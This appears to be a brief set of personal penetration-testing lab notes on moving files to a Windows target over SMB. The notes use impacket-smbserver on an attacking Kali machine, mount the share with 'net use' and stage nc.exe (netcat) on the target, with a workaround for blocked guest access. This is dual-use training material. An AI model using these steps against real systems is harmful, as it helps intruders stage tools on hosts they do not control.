Create an smp server on the attacking machine (f.e. my kali)
sudo impacket-smbserver share -smb2support /tmp/smbshare
Copy a file from the windows machine: C:\htb> copy \192.168.220.133\share\nc.exe
Possible Errors
- new versions of Windows block unauthenticated gust access.
Workaround: create a smb server with username and password
on my kali: -
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password testmount the smb share:
C:\htb> net use n: \\192.168.220.133\share /user:test testcopy the file:
C:\htb> copy n:\nc.exe